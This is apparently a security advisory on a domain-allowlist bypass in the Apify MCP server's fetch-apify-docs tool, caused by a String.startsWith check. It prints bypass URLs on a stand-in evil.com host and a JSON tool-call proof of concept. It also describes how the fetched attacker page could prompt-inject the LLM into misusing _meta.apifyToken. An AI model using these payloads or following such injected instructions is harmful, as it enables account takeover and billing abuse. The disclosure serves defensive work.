Apify Model Context Protocol (MCP) server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching

Summary

The fetch-apify-docs tool validates URLs against a domain allowlist using String.startsWith() instead of proper URL hostname comparison. This allows bypass via attacker-controlled subdomains (e.g., https://docs.apify.com.evil.com/), enabling the tool to fetch and return arbitrary web content to the LLM.

Details

Vulnerable component

src/tools/common/fetch_apify_docs.ts, line 51:

const isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) => url.startsWith(domain));

src/const.ts, lines 167-170:

export const ALLOWED_DOC_DOMAINS = [
    'https://docs.apify.com',
    'https://crawlee.dev',
] as const;

How the bypass works

String.startsWith('https://docs.apify.com') matches any string beginning with that prefix, including:

• https://docs.apify.com.evil.com/payload - attacker-controlled subdomain
• https://docs.apify.com@evil.com/payload - userinfo component in URL (browser behavior varies, but fetch() in Node.js may follow this)
• https://docs.apify.com.evil.com:8080/path - custom port on attacker domain

All of these pass the startsWith check because they begin with the exact string https://docs.apify.com.

The fetched content is returned to the LLM

After the allowlist check passes, the tool fetches the URL and returns the full page content as markdown (fetch_apify_docs.ts:69-103):

const response = await fetch(url);
// ...
const html = await response.text();
markdown = htmlToMarkdown(html);
// ...
return buildMCPResponse({ texts: [`Fetched content from ${url}:\n\n${markdown}`], ... });

The HTML is converted to markdown and returned verbatim to the LLM. This creates a prompt injection vector - the attacker's page can contain instructions that the LLM may follow.

While tools like get-html-skeleton have no domain allowlist at all - it accepts any URL. The fetch-apify-docs tool was clearly intended to be more restricted (documentation-only), but the startsWith check defeats that intent.

PoC

{
  "method": "tools/call",
  "params": {
    "name": "fetch-apify-docs",
    "arguments": {
      "url": "https://docs.apify.com.evil.com/prompt-injection-payload"
    }
  }
}

The URL passes the startsWith('https://docs.apify.com') check, fetches the attacker's page, and returns its content to the LLM.

Impact

• Prompt injection via fetched content: Attacker hosts a page at docs.apify.com.evil.com containing LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions.
• Security boundary violation: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent.
• SSRF (limited): The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access.
• Account compromise via _meta.apifyToken: Injected prompt instructions can direct the LLM to include a specific _meta.apifyToken (the server's per-request token feature) in subsequent call-actor invocations, redirecting billable operations to a victim's account or accessing their private Actors